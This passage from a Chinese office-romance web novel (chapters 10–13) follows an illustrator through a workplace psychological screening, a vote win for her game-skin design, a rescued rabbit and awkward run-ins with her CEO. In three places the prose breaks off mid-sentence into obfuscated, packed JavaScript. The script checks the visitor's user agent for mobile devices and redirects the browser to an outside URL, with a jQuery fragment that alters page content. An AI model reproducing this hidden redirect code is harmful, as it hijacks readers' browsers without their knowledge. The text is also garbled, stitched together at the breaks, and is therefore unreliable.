“谢谢。”任舒晚紧接着从包里拿出一盒洗好的葡萄,麻烦别人是需要答谢的,“这是我妈妈种得葡萄,你尝尝。” 小庄受宠若惊地接下,“这太珍贵了,谢谢任老师。” 任舒晚笑了笑,“那我先走了,拜托你啦。” 她折返离开,经过美术部办公室时看到有不少同事已经来了,幸而她早到了,不然大庭广众下拿着东西去总裁办公室,怎么都让人想入非非。 她没有驻足停留,加快步伐下楼。 体检安排的大巴车已经停在路边,同事们陆陆续续上车,任舒晚跟在他们身后排队,听到不少人都在议论新增加的心理筛查项目,流言传得似是而非。 运营部新来的实习生闻言,凑近打听道:“我听说心理状况差的就要直接辞退,是真的吗?我最近压力好大,好怕结果出来说我抑郁。” 有人开了头,周遭人们都跟着议论纷纷。 “现在生活压力那么大,怎么可能心理健康了。” “对啊,又不是很严重的疾病影响工作,这要是辞退我绝对去劳动仲裁维权。” 任舒晚听着,凄然一笑,她这个真被怀疑的都没害怕辞退。 人到齐,大巴车出发开往体检中心,半小时后就到了。 排队领了导检单,行政组织大家先去抽血、做B超。 窗口很多,排了几分钟就轮到任舒晚。 抽完血,她不等止住血就按着棉签直奔彩超室。 十几分钟后,任舒晚从彩超室出来,行政已经在给做完空腹项目的同事分早餐。 “任老师,这是你的。”行政部的小李递来一份早餐。 任舒晚接过,“谢谢。请问心理筛查项目在几楼?” 小李:“哦,在楼上。” “好的,谢谢。” 任舒晚把早餐塞进包里,转身朝楼梯走去,她要先去做心理项目证明自己的健康了。 小李看着她急匆匆离开的背影,摇头道:“美术部真辛苦啊,体检都静不下来。” 四楼,心理问诊室门口没人,任舒晚敲门直接进去。 医生进行简单的询问后就让她去隔壁房间做心理量表辅助筛查。 测试房间里装修简单,靠墙摆放着五台电脑,有两人正在做测试题。 医生刷了她的身份证,安排她在最里面的电脑上答题。 “按照你真实想法填写。” 任舒晚应了声,坐在电脑前沉入题海。 十五分钟后,最后一道题填完,屏幕弹框提示:[感谢作答,请找医生拿报告。] 坐在远处的医生道:“5号机可以了。” 任舒晚起身走过去,“你好,医生,报告现在拿吗?” 医生看了她一眼,“你是体检那个吧,报告会等其他项目结果出来后直接寄到你们公司。” “哦,那我能先看一下吗?”任舒晚问道。 “能,你稍等一下。”医生敲打着键盘,片刻后,旁边打印机送出三张纸。 “任舒晚是吧?” 任舒晚应了声,手不自觉握紧,掌心冒出一层汗意。 医生把报告递给她,“这是你的,挺健康的。” 她悬着的心忽地放松下来,连忙接过,两张宗(Zung)氏焦虑、抑郁自评量表结果分析,一张症状自评量表结果分析报告。各项指标后有分数评定,最末尾的结果分析一栏都写着正常。 她忍不住扬起嘴角,匆匆拍下照片又还给医生,“谢谢医生。” 出了诊室,门口已经排起队,任舒晚找了个角落掏出手机,把三张照片发给祝笙,打字到:[臣妾此身从此分明了!!] 祝笙可能在忙,没有立刻回复她,她正要关掉手机,却突然收到陆言知发来的消息。 [葡萄收到了,很好吃,谢谢。] 10. 第 10 章 任舒晚盯着手机屏幕愣怔半天才缓过神,这这这该怎么回呢? 好吃……?陆言知是不是在点她,意思让她再给他送点? 她不敢确定,选择先不回复,切出微信去红薯找帖子。 [送老板吃的,老板说好吃,该怎么回复?] 搜索框里刚输入就蹦出许多帖子,她打开点赞最多的,看评论区热评。 [老板说好吃你可别再傻了吧唧买两箱送过去了!你要弄清楚老板说得“好吃”是哪种。第一种只是礼貌的客套,你送礼老板正面回应代表他不烦你,接受和你人情往来,这种情况客气两句就结束了,你要是像个二愣子似的来一箱再来一箱,那就是纠缠人家,把老板当猪喂了。第二种是真的很好吃,老板想再来一箱,那他就会主动问你在哪里买的,找你要卖家联系方式之类的,这种情况下你就可以主动一点了。] 任舒晚看完醍醐灌顶,职场人情世故原来这么复杂啊! 那陆言知是第一种还是第二种呢?目前还不好判断,毕竟他可能不好意思直接开口要,她思索着打算试探一番。 她又看了两篇话术帖子,抄了半天作业才措辞回复:[陆总,您喜欢就好,您下次想吃了,我再让我妈妈寄。] 消息发出,任舒晚通读一遍,感觉没什么漏洞,还是蛮圆滑的。 她还在复盘,陆言知又回复了,[不用了,太麻烦了,谢谢。] 哈?任舒晚眨眨眼,这是不是就是第一种?跟她客气客气? 她往角落里缩了缩,操控手机再去看帖子。 [如果你说再买给老板,老板说不用了,那就说明他的好吃是敷衍,如果他说可以,你就再给他买一箱。] 她蹙眉若有所思地点点头,明白了,陆言知说好吃只是敷衍她。 她返回聊天框,[好的,陆总。] 回完,她收起手机,不悦地撇撇嘴,妈妈种得葡萄多好吃啊,她自己都没吃多少,给了他一袋,他还敷衍的说好吃,还不如什么都不说呢。 此时,行政部的小李站在不远处喊道:“任老师,楼下CT不排队了,你可以去做CT了。” 任舒晚思绪被打断,心不在焉地回了声便收起手机。 她耸耸肩,无所谓,不喜欢就不喜欢呗,每个人喜好都不同,大不了下次不送给他就好了,她自己留着,狠狠吃! 总裁办公室,陆言知将一颗洗净的葡萄塞进嘴里,很甜,水分很足,非常有葡萄的香味,已经很少吃到这么可口的葡萄了。 他蹙眉吐掉葡萄皮,盯了半天手机,最终还是划出聊天框,点开安逸头像。 [朋友送你礼物,你一般都怎么回复感谢?] 安逸:[啊?] — 体检结束已接近中午,任舒晚坐大巴返回公司,刚到楼下就收到祝笙的消息,早上任舒晚发给她时她没回复,现在一连回了数条。 [清白了清白了,等报告拿回来看谁还能污蔑你。] [我忙了一上午,都没时间摸鱼。傻x部长仗着脑袋有问题为所欲为,一天天就会使唤我干活。] [诅咒她一周拉不出屎!] 任舒晚对祝笙的吐槽见怪不怪,她要是一天没骂陈部长,那才是太阳打西边出来了。 任舒晚:[扣1姐哄你。] 消息刚发出,祝笙的回复立刻弹了出来:[暂停扣1,好消息!!天大的好消息!!!] 任舒晚回了个小猫挠头的表情包,[除非你现在给我银行卡转一个亿,不然我找不到比这个更好的消息。] 祝笙发来一条语音消息,“清醒点,比一个亿更靠谱的事情。任小晚,你第一了,第一了!” 任舒晚一头雾水地听完,打字回道:[第一?什么第一?追求你的号码牌第一吗?] 祝笙:[蝴蝶月皮肤设计比赛第一啊!!!!!!!] 祝笙:[图片] ??? 这下任舒晚彻底懵圈了,她愣愣看着祝笙发来的投票界面截图,半天都没缓过神。 仅仅一天一夜的时间,她的设计稿居然排到了第一名,领先第二名4000多票。 祝笙:[你等等,还有。] 紧接着她又甩来两张微博截图。 任舒晚一瞬不瞬地瞪着眼睛翻看,《破晓瞬间》官博的评论区炸了锅,清一色全是对她设计稿的夸赞。 [破茧成蝶的设计也太太太好看了!!吹爆这位画师!] [破茧成蝶的画师审美在线,好喜欢蝴蝶刀的设计,细看是断掉的蝴蝶翅膀诶,呜呜呜悲伤又宏大,就像月月这一路走来的艰辛,用折断的翅膀堆出复仇的路。] [终于有人理解家月了,一人血书求破茧成蝶的画师多画月月啊啊啊啊啊!] 任舒晚看完一遍忍不住又看了一遍,原来她设计的灵感真的能被人看懂,这种感觉从来没有过。 祝笙:[陆总还是慧眼识珠啊!] 任舒晚握着手机,指尖轻微颤抖,[笙笙,这种感觉……] [好爽!!] 她做梦都没敢梦过这样的剧情,被同事污蔑讽刺的稿子得到玩家的认可和赞赏,玄幻到让人有些不真实感。 祝笙发来语音,语气骄傲得意,“别着急,这算什么,更爽的还在后面呢,等你设计的皮肤上线,我看那个老女人还怎么趾高气昂。” 祝笙已经畅想了任舒晚勇夺第一的美好画面,然而确实也如她幻想的一般。 之后的两天,任舒晚的票像坐上火箭,在运营组的营销下突飞猛进,各平台玩家的叫好声响成一片,几乎都在夸她对角色理解深刻。 到第三天投票截止时,《破茧成蝶》已经断层领先,完全不给其他作品反超的机会,最终已总计300万+的票数拿下第一,成为玩家最喜爱的皮肤设计。 当天例会上,陆言知就宣布了破茧成蝶皮肤会在周年庆当天上线,首周8.5折。 皮肤设计尘埃落定,美术部新的任务接踵而来——开屏PV。 策划组给出的方案紧扣周年庆《共赴山河》的主题,突出群像的意义。三十秒的动画,所有角色轮番登场,最终在新地图的雪山之巅重逢,结尾定格在二十个角色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嗯。”陆言知移开视线,淡淡应了声。 任舒晚垂下眼睑,余光瞥向陆言知,总觉得他表情怪怪的?是错觉还是撒谎导致的心虚? 将箱子放到前台寄存好,任舒晚礼貌道:“谢谢陆总,我回公司,您……?” 陆言知看向她,目光寒凉,“我下班。” “哦哦,好。”任舒晚连连点头,“那我先回去了,陆总再见。” “嗯。” 陆言知看着她的身影迅速消失在拐角,眸色暗了暗,她撒谎。 他明明看到了包裹上的生鲜标签,也闻到了半掩的开口处飘出了葡萄的香味,但她却说是衣服杂物? 为什么? 为什么上次请他吃葡萄,这次却没说给他? 陆言知掏出手机给安逸发消息。 [朋友送了你礼物,你回赠什么?多久回赠?] 安逸:[啊??] 11. 第 11 章 陆言知发完消息才意识到问错了人,安逸审美还好,但人情世故一塌糊涂,上次问他,他就答非所问,还一连八卦。 陆言知蹙眉,大步往门外走去,单手操控着手机打字,修长的指尖滑动起来轻松自如,[算了,你不用回答,你的答案不具有参考性。] 安逸:[???你专门来侮辱我的?] 陆言知收起手机,人已经走到路边的黑色劳斯莱斯面前,小庄机敏地拉开车门,他俯身坐进车后排。 车子启动,小庄的声音从前面传来,“陆总,今晚的应酬还有宁智科技的刘总。心理健康筛查报告也拿来了。” 小庄从副驾递来一个文件夹,陆言知抬眸,申请淡漠地接过。 报告是以部门分类汇总的,他掠过其他部门,直接翻到美术部寻找任舒晚的身影。 连翻几页后,他看到熟悉的名字,循着字迹看下去,他眉宇间的疑惑越来越深。 任舒晚报告中各项指标都写着正常。 正常?所以她心理很健康? 那为什么会有现实与网络截然相反的面孔。 陆言知眉头紧锁,眸底的晦暗越来越深,综上所述,那另外一个可能性就是她认错人了。 他合上文件,先按兵不动,再观察一段时间。 坐在前排的小庄透过后视镜观察着陆言知,老板似乎再找什么? 他捉摸不透老板的想法,便试探开口,“陆总,人事说部分员工确实出现压力大、焦虑、抑郁倾向,公司里谣言四起,人心惶惶,说…会辞退生病的员工。” 陆言知沉默地听着,片刻后,平静开口,语气认真严肃,“不会辞退,告诉人事,生病的员工多加照顾,如果不舒服可以及时请假调理。” 小庄闻言松了口气,脸上多了一丝笑意,“好的陆总,我会转达。” — 任舒晚刚回到公司就收到悲催的加班消息。 行政部通知从明天起全公司开启加班周,备战周年庆,加班费、餐补照旧,打车补助上调,考虑部分同事住得远,补助不够打车费用。除此之外,加班周设置了弹性打卡时间,早上上班迟到半小时内不计入考勤。 任舒晚一边往工位走一边看通知,部分同事住得远……好像在说她? 之前打车补助确实不够她打车回家的,不过她是赶末班地铁那一类人,补助都省下揣腰包了。 她关掉公司群,给祝笙发去消息,[亲爱的,大批量葡萄到货,下班分赃。] 祝笙:[!!!我爱阿姨!阿姨要把我宠坏了,自从吃了阿姨种得葡萄,外面卖的葡萄都入不了我眼了。正好我今天开了车,待会我们带着葡萄回家~] 任舒晚回了她个ok的表情包,又问道:[你晚上有事吗?] 祝笙:[无,大小姐随便安排。] 任舒晚:[我想去灵泉寺还愿,明天就要加班了,到时候周末也没时间。] 今年年初她和祝笙去灵泉寺烧香许愿,她当时许了两个愿望,一是父母身体健康平平安安,二是工作顺利发大财。 虽然暂时还没发大财,但最近工作确实顺利很多,她不贪心,已经很满足了,所以当然要去供奉香火还愿。 祝笙:[好啊,我陪你去。] 任舒晚:[下班我在大厅等你。] 忙到下班,任舒晚关掉电脑,背上包打卡。 临出办公室时,她又回身望了眼工位后的窗户,外面夕阳西下,漫天霞光像打翻的调色盘,橙黄渐变,甚是美丽。 怪不得那天陆言知站在窗户前,原来这个角度的落日那么好看。 任舒晚摇摇头,明天可就没心情欣赏日落了。 在大厅等了一会儿祝笙就来了,两人没耽搁,抱上葡萄直奔灵泉寺。 到了时马上六点半,赶上最后一波入寺时间。 灵泉寺是一座千年古刹,香火旺盛,隐于城中,成为尘世喧嚣中难得的幽静之地。 踏入庙宇,外界的纷扰似乎顷刻消失,任舒晚浮躁的心绪瞬间落定。 周围香客来来往往,僧人诵经声声声入耳,飘起的袅袅青烟弥散在空中,承载住世人的寄托。 两人在入口处请了香和鲜花,直奔当初许愿的大殿。 供上鲜花,燃起香,任舒晚跪在蒲团上默念自己来意,“感谢神明庇佑,今日特来还愿。” 将心中的感谢和日后小小的心愿说完,任舒晚起身将香插进香炉,又掏出准备的现金放进功德箱。 踏出殿门时,还有不少香客要往里进,然而就听身后的僧人道:“香客们请留步,今日关门了,明日再来吧。” 身后的殿门缓缓合上,任舒晚回头瞧了一眼,“我们来得正巧。” “是啊,就像在等我们一样。”祝笙问道,“你又许愿了吗?” “当然!” 祝笙:“嘿嘿,我也许了,我许愿神明给我找个卷毛小奶狗男朋友,会撒娇长得帅的那种。” “嘘,愿望说出来就不灵了。” 祝笙摆摆手,“没事,灵的灵的。” 任舒晚拿她没办法,“那你有没有仔细给神明解释卷毛和小奶狗的意思,万一神明不懂呢?” “我相信神明博学多才,不明白他也可以用手机查。” 任舒晚无奈地叹口气,“神明哪来的手机。” 开着玩笑离开灵泉寺,天色已经彻底暗下来,门口的广场较来时多了不少人,许多小摊支起来,熙熙攘攘很是热闹。 任舒晚被亮着暖光灯卖烘焙点心的摊子吸引,隔着很远都能闻到甜甜的奶香味,她一步三回头地瞧了半天,最后终于忍不住,“笙笙,好香啊。” 祝笙被她模样逗笑,“走,我带你买去。” 走远的两人又折返回小夜市,买了海盐麻薯,顺着人流往另一处的出口走去。 行至一半,人群中突然蹦出一个黄色影子,紧接着任舒晚就觉裤脚一沉,一个软乎乎的东西撞到她腿上。 突如其来的东西让人惊慌失措,任舒晚本能地后退一步,惊呼一声。 “是一只兔子!”祝笙惊奇地喊道。 任舒晚垂眸去看,果然一只黄白相间的小兔蜷缩在她脚边,大半个身子趴在她脚上,耳朵紧紧贴着背部,身体颤抖,似乎受到惊吓。 任舒晚蹲下身,小心翼翼抚摸着它的脑袋,“不要怕,你是找不到主人了吗?” 祝笙:“这么小一只,估计趁主人不注意跑出来了,人一多就受惊了。” 见小兔不反抗,任舒晚轻手轻脚拖住它的屁股抱进怀里。小兔似乎察觉到任舒晚没有恶意,温暖的怀抱也格外安全,放大的瞳孔逐渐平静,耸动着鼻尖去闻任舒晚身上的气味。 任舒晚本来对毛茸茸就没有抵抗力,这下投怀送抱一个,她更是爱不释手了。 祝笙摸了摸它的脑袋,眼睛张望着周围,来去匆匆的行人没有停驻,似乎都不是兔子的主人,“好像……” 话还没说完,一位戴棒球帽的大叔挤开人群来到她们身边,“不好意思啊姑娘,吓到你们了。” 说罢,大叔抬抬帽檐,指了指身后不远处的摊位,“这是我家兔子,自己从笼子里蹦出来了。” 任舒晚循着他指得方向看去,就见路边还未摆开的套圈摊位,一个显眼的蓝色兔笼夹杂在五彩斑斓的套圈圆环中,顶部的笼门敞开着,显然怀中的小兔是越狱出逃了。 大叔笑了笑,开始套近乎,“姑娘要不要套圈啊,十块钱十个圈,套到兔子就能带回家。” 任舒晚收回视线,摇了摇头,将怀中小兔递上前,“不用了。” 这种摊位都是赚套圈钱,要是人人都能套到东西不得赔本啊! 大叔似乎也知道拉不到客人,大大咧咧地应了声,伸手一把拎起小兔的耳朵就要走。 被拽住耳朵的小兔立刻半眯起眼,脸皱在一起,喉咙里发出低哑的痛苦嘶嘶声。 “诶。”任舒晚心疼不已,“大叔,你这样它会疼吧?” “嗐,畜生懂什么。”大叔一摆手就要走,步子刚迈出一步,他眼珠一转,计从心生,回身笑道,“姑娘,兔子也卖,58带笼子送草。” 任舒晚本能想要拒绝,但看到小兔难受狰狞的模样,心一横,“好,我买。” 从夜市离开的时候,任舒晚手里提着兔笼,祝笙抱着送得干草。 “你会养兔子吗?”祝笙挠头问。 任舒晚尴尬地笑了笑,“不会。” 祝笙看一眼笼子里蜷缩的小东西,“倒是很可爱,或许这就是缘分吧。” 带着小兔回了家,任舒晚开始从网上学习养兔技能,看了几篇新手养兔教程,又学了一肚子邪修养兔,她骄傲的觉得自己已经掌握了要领。 她精心给小兔布置了笼子,铺上厚厚的毛毯,用不戴的冷帽给它当床。 看着黄白的身影窝在窝里,小小一只,耳朵微微抖动着,任舒晚居然萌生老母亲看孩子的欣慰感。 下一秒,她灵光一闪,“要不叫你元宝吧?元宝?你喜欢这个名字吗?” 小兔不语,叼起一根干草,嘴巴蠕动咀嚼着,浑圆的脸抖动着,活脱脱移动的小元宝。 “元宝?”任舒晚试探地喊了一声。 元宝闻声抬起脑袋,似乎在回应呼唤。 任舒晚满意地点点头,看来元宝也喜欢这个名字。 又盯了一会儿它吃饭,任舒晚才起身去洗漱。 从卫生间出来时,元宝已经窝在帽子里睡着了,四肢藏在肚子下面,眼睛紧闭着,睡得并不安稳。 任舒晚去网上搜了搜,这样的睡姿表明小兔对周围环境保持警惕状态。 她关掉主灯,打开夜灯,营造出温馨安全的睡眠氛围,确保元宝尽快适应。 — 翌日一早,任舒晚把干草和水盆放到元宝笼子里,看着它活跃地吃起来才依依不舍的去上班。 到了公司,肉眼可见的所有人都行色匆匆,忙忙碌碌,各部门绷紧一根弦,备战周年庆。 任舒晚也不敢懈怠,她昨晚已经把工作计划列了出来,今天的目标是完成两个角色的正面概念图,和策划对接草稿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16850354|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她已经有了蝴蝶月的初步灵感,现在只需要深入了解箫沉这个角色的背景故事。 有了计划和目标,反而觉得事情变得简单起来。 她戴上耳机准备投入工作,身后却突然响起轻唤,“任老师。” 任舒晚立刻摘下耳机望去,小庄微笑着站在她身后,手里拿着厚实的文件袋,“任老师,这是陆总给您的角色资料。” 任舒晚诧异地接过,她正愁去哪搜罗箫沉的故事呢,这不就有现成的送上门。 “谢谢庄助理。” 小庄眯着眼笑笑,“不客气,你忙着。” 小庄离开后,任舒晚立刻打开去看,里面厚厚的一沓全是箫沉的资料,她粗略翻了翻,按照人物时间线汇总的十分细致,甚至还包含角色细小的设定。 她由衷的感激陆言知,这可给她省了太多时间了,并且还能带来无尽的灵感。 看来葡萄送得没错,虽然他不喜欢吃,但也记得,这么想来,她有点后悔昨天撒谎了。 算了,她晃晃脑袋甩掉无用的想法,集中注意力投入箫沉的故事中。 忙到中午,她已经完成了蝴蝶月和箫沉的正面概念草稿,发给策划组后,敲定下午上班后对接。 任务比预想中进展的顺利,任舒晚松了口气,伸个懒腰的工夫,祝笙着急忙慌地跑了过来。 “我给你发消息你怎么没回?” 任舒晚:“好忙好忙好忙,要忙炸了。” “先别忙了。”祝笙一把将人从椅子上提起来,“吃饭了,走!” “诶?”任舒晚踉踉跄跄地被拉出办公室,“去哪吃啊?” “茶水间!”祝笙道,“今天午餐订得豪华五星级餐厅,就是去年年会那家,你说巨巨巨好吃那家。” “啊?”任舒晚愣愣的,“中午有餐了?” “对啊,新福利,你肯定没看群里。以后加班周中午、晚上都由行政部统一订餐,餐补还照发。” 祝笙一边解释一边加快步子,“快点快点,一会儿没得挑了。” 走到茶水间门口,屋里已经人满为患,取餐的吧台排起长龙,用餐的桌子也坐满正在吃饭的人。 “糟糕,还是来晚了。”祝笙往里瞧一眼,拉着任舒晚绕过排队,“我来行使一下行政部的权力。” 两人穿过人群绕进吧台,里侧的桌子上是两个还未开封的保温箱,一箱西餐一箱中餐。 任舒晚原本还没觉得饿,眼下闻到浓郁的饭菜香肚子忍不住咕咕叫起来。 “你吃什么?”祝笙问道。 “中餐吧。” “我吃西餐,嘿嘿。” 大庭广众下,祝笙堂而皇之地打开保温箱,从里面拎出两提餐。 五星级酒店的餐厅连外送包装都格外精美,布制暗灰色手提袋,里面是保温餐盘,荤素搭配的菜品色香味俱全,还有鲜切水果和餐后甜点。 祝笙深吸一口气,垂涎道:“如果加班周都是这个标准就好了。” 任舒晚压低声音,“让傻x部长申请一下。” “她?”祝笙翻个白眼,“她只会拍马屁,不会谋福利。” 两人猫腰从吧台里挤出来,隔了老远就看到陈部长在指点江山,祝笙连忙缩起脖子藏在任舒晚身侧,“哎呦,可千万别让她看到我,我们快走。” 可惜天不遂愿,话音刚落,就听一声尖细的女声响起,“小祝,你来干点活。” 祝笙顿住步子,恨自己没能钻进地下藏起来。 任舒晚同情地看她一眼,“被抓了。” 祝笙硬着头皮站起来,把餐往任舒晚手里一塞,“你等我,我很快就逃出来。” “嗯嗯,那我去工位等你,你快点,一会儿该凉了。” 茶水间人实在多,不说是人挤人走不动,但也是摩肩擦踵的状态了。 任舒晚艰难挪到门口,人都被挤瘦了一圈,她长舒口气,连忙提着餐逃离是非之地。 经过技术部门口,任舒晚低头赶路,余光却撇到手提袋上的餐厅品牌标识,在阳光照耀下,标识不知是什么料子,竟然泛着粼粼波光,随着移动变化,独特的光泽感似琉璃般剔透。 任舒晚不自觉放慢步子,这正是她想要给箫沉皮肤设计的布料,能随着光线变化和穿着者的动作产生不同光影,低调又显矜贵。 她将手提袋拎到面前,一边走动一边观察。 灵感飞速闪过,她越看越入神,注意力完全投入在手提袋上,根本没听到前方拐角处走来了人。 说时迟那时快,任舒晚只觉眼前光线一暗,还未反应过来,她脑袋便撞到一堵坚硬的“墙”,熟悉的闷哼声,鼻息间清冷的木质香,都宣示着她又又又闯祸了…… 陆言知就那样站在原地,深邃的双眸微眯着,一瞬不瞬地盯着她,薄唇紧抿,勾起的唇角透露出更多的无奈。 四目相对,任舒晚尴尬地眨眨眼,他前胸后背怎么都那么硬,撞得她晕头转向的。 “陆总……”她讪笑一声,“好巧,又撞上了,没事,我懂我懂,内伤我会负责的。” 12. 第 12 章 陆言知正在打电话,听完她的发言眉头皱得更深了。 他微微偏头,对着手机那头平静道:“挂了。” 任舒晚呼吸一滞,怎么在打!电!话! 她立刻捂住嘴,事情很坏了! 陆言知垂下眼睑,轻描淡写地看向她,须臾,慢条斯理道:“赔钱。” ??? 赔赔赔……赔钱? 呸呸呸! 任舒晚吞了下口水,认真看向眼前的男人,“陆总……” 陆言知双手插兜,眉梢微挑,“嗯?” 她张了张嘴,犹豫再三才下定决心开口,“我没钱。” “没有?” “没有。”任舒晚义正词严,“或者您要不看我能卖多少钱,把我卖了赔给您好了。” 陆言知勾了勾唇角,“你不问问多少钱?” 任舒晚摇头,望向他的目光如英勇赴死般决绝,“多少钱也没有,要钱没有,要命一条。” 陆言知哑然失笑,“怎么之前没见你这么硬气?” “因为钱是触发开关,您不懂,我上有房,下有娃,都得养。”任舒晚眨眨眼,将手里提得餐往前递了递,“要不送您一顿午饭抵了?这是我冒着被挤扁的风险取来的。” “拿着公司的餐抵?好像说来说去你都没什么损失。” 任舒晚不好意思地笑了笑,“借花献佛嘛,茶水间人可多了,您现在去得排好久才能排到,您考虑考虑,过了这村可没这店了。” “任舒晚。” 陆言知轻飘飘唤了她一声,听得她心头一震,上次他连名带姓喊她还是在会议上批评她的时候。 她吞了下口水,有些心虚,“啊?” “到底谁是受害者?”他慢条斯理道。 任舒晚嗫嚅道:“好像不是我,但…您也不算是,毕竟谁让您也没看我了,您要是看到我躲开不就撞不上了……” 她越说声音越小,越说也没有底气。 陆言知一字不差的全都听进耳朵里,他扯了扯嘴角,眸色暗沉涌动,“好,行,那你说得卖了你还算数吗?” “算也…不想算。” “晚了。”陆言知冷哼一声,“等我破产先联系你。” 说罢,他抬步潇洒离开,任舒晚望着他的背影,咕哝了一句,“那您可一定要财运旺盛,日进斗金。” 走远的陆言知步子微顿,头也不回道:“借你吉言,但破产也不错。” …… “您听力真好。” 任舒晚不敢再多说话了,目送他走远才哼了一声,资本家真黑啊! 她一边腹诽一边往办公室走,才走没两步就听到祝笙在后面喊她。 她停住步子,祝笙已经气喘吁吁来到她面前,“累死我了,去跑腿送餐了。我刚刚过来的时候看到陆总了,脸色好难看,不知道谁惹着他了。” 任舒晚无辜地眨眨眼,应该是她吧,但她不认。 “不知道,可能抽风吧。” 祝笙挠挠头,“啊?” “啊什么啊。”任舒晚打断她的八卦,“你快帮我看看这是什么布料,会发光。” — 午休过后又陷入没有尽头的工作中。 任舒晚和策划组对接完,根据反馈修改了两次草稿才通过初审,接着她便马不停蹄细化线稿,勾勒侧面和背面草稿。 到晚上下班时,她已经完成两个角色三视图的线稿,下一步就是深化细节,确认透视和材质,今天已经超额完成任务,剩下的就留到明天吧。 她收拾东西关闭电脑,急匆匆打卡去赶末班地铁。 十一点半到家,推开门打开灯的一瞬间,任舒晚被眼前的景象吓了一跳,原本精致干净的小屋变成了垃圾场。 沙发上铺得毛毯被扯到地上,地板隔不远就有一两粒兔粑粑,还伴随着一滩一滩的尿渍。 桌上有干草,床上有干草,就像干草开大会。甚至连她摆在阳台一角不显眼的盆栽都难以幸免,四仰八叉地摔在地上,土撒了一片,陶瓷花盆稀碎。 而造成这一切的罪魁祸首此时正窝在兔笼旁,嘴里叼着干草,咀嚼得十分带劲儿。 “任元宝!”任舒晚崩溃大喊一声,她实在无法接受加班后回到垃圾场。 元宝闻声抬头,三瓣嘴快速蠕动着,小兔不懂,小兔只是饿了在吃饭。 看到软萌的兔脸,任舒晚气消了大半,她早该预想到的,它昨天能跳到她身上,今天就能跳出笼子。 看来就是个出逃惯犯啊,怪不得套圈大叔要把它卖了,妥妥的混世魔王! 她扔下包,任劳任怨地收拾卫生。 打开窗户通风,扫地拖地,把毛毯、四件套都扔进洗衣机,任舒晚长舒一口气,累得瘫坐在沙发上。 余光撇到敞开的兔笼,她又认命地拿起手机,计划网购一个新的,这个旧的万万不能用了,它已经跳得熟能生巧了。 然而任舒晚在购物网站看了两圈,便宜款就是家里目前这种简易笼子,贵的则是那种大的,能放厕所、水盆、小床、干草架,活动空间还非常大。 比较起来,贵的哪哪都好,缺点就是贵。 任舒晚思来想去,打算先暂时凑合几天,马上就双十一了,到时候满减或许能便宜不少。 她匆匆洗了个澡,把自己摔进床上,脑袋刚沾到枕头,人已经开始打哈欠了,她强撑着睁开眼,拿起手机处理今天的代骂工作。 刚解锁就看到咸鱼小铺推送有个新单子,点开一看居然又是年卡老板下单了季卡。 她一脸懵地切到消息栏,就看到半小时前年卡老板给她发消息,她没看到没回复,于是老板可能认为没钱不闲聊,才下单季卡。 她连忙打字,[老板晚上好,刚刚在洗澡,没看到消息。] 年卡老板:[没事,我心情有点差,想跟你聊会儿,耽误你休息吗?] 老板都付费了! 任舒晚:[不耽误,怎么了?] 客户:[我忘不了他,怎么办?今晚翻出好多我们在一起时的东西,想到过去的回忆就很难受。] 哎呦,任舒晚急得挠头,怎么年卡老板转不过这个弯呢。 [老板,你想想啊!他出轨了啊,他是个渣男啊,渣男有什么好的,三条腿的蛤蟆不好找,两条腿的男人那不遍地都是,何苦在一棵树上吊死呢,对吧?] 接下来的时间,年卡老板详细讲述了和渣男这些年分分合合的恋爱经历。 任舒晚慢慢发现其实老板被渣男PUA了很多年,她现在精神状况极差,对自己不自信,认为自己十分差劲,和渣男分手后没人会爱她。在分手前她就已经把渣男当成了生活的全部,完全接受不了失去渣男这件事。 重点是! 在这次分手前,年卡老板抓到过渣男出轨。她在她的车里看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他眉头紧锁,耐下心来打字,[不是,微信是我的,但我不是渣男。] 任舒晚看完想笑,天底下怎么会有那么蠢的人,[你蠢得像头驴,找理由都不会,无语,真让人下头。] 她冷哼一声,敲得屏幕作响,[脚踩两只船的渣男,求你跟你那现女友锁死吧,别出来祸害人了好吗?] [花生我会种,你这个咋种。] 陆言知:[?] 任舒晚撇撇嘴,继续输出,[问号你个头问号,看不懂人话吗?装什么高冷海王,你充其量就是个烂水鬼。] [真是乌龟掉缸里,给你这小王八蛋闲完了。] 陆言知气笑了,他灌了口凉水,[你去黑名单冷静一会吧。] 说罢,反手将人拉进黑名单,他拉黑的本事已经被任舒晚训练的炉火纯青了。 任舒晚还没反应过来,再发问号过去时就已经蹦出鲜红的感叹号了。 靠,又给她拉黑了! 任舒晚迅速退出小号,切到Excuseme4号,复制添加好友,备注里继续输出。 [怎么又破防了,说不过就拉黑吗?笑死了,就这点本事,怎么出轨的时候胆子那么大,就会用下半身思考了是吧?] [碧漾的晚意,初升的东夕。] 陆言知看着野火烧不尽的小号,此时又冒出来一个,她到底多少个微信?? 陆言知面无表情再次拉黑。 任舒晚又打完一句话,刚点下发送立刻弹窗提示:[对方拒绝接收你的消息。] 哎呦,她这小暴脾气上来了,一点忍不了好吗。她别的可能没有,但小号多得很呢。 Excuseme5号出击! 13. 第 13 章 [你再拉黑我,我就把你劈成两半,用棍子串成糖葫芦,放进油锅里炸炸炸,疼得你哇哇叫!] [你看着点吧!从今天起,我发誓都用你的命。] 弹窗再次提示:[对方拒绝接收你的消息。] “啊啊啊啊啊!”任舒晚要气炸了,怎么遇到个这么难缠的渣男!! 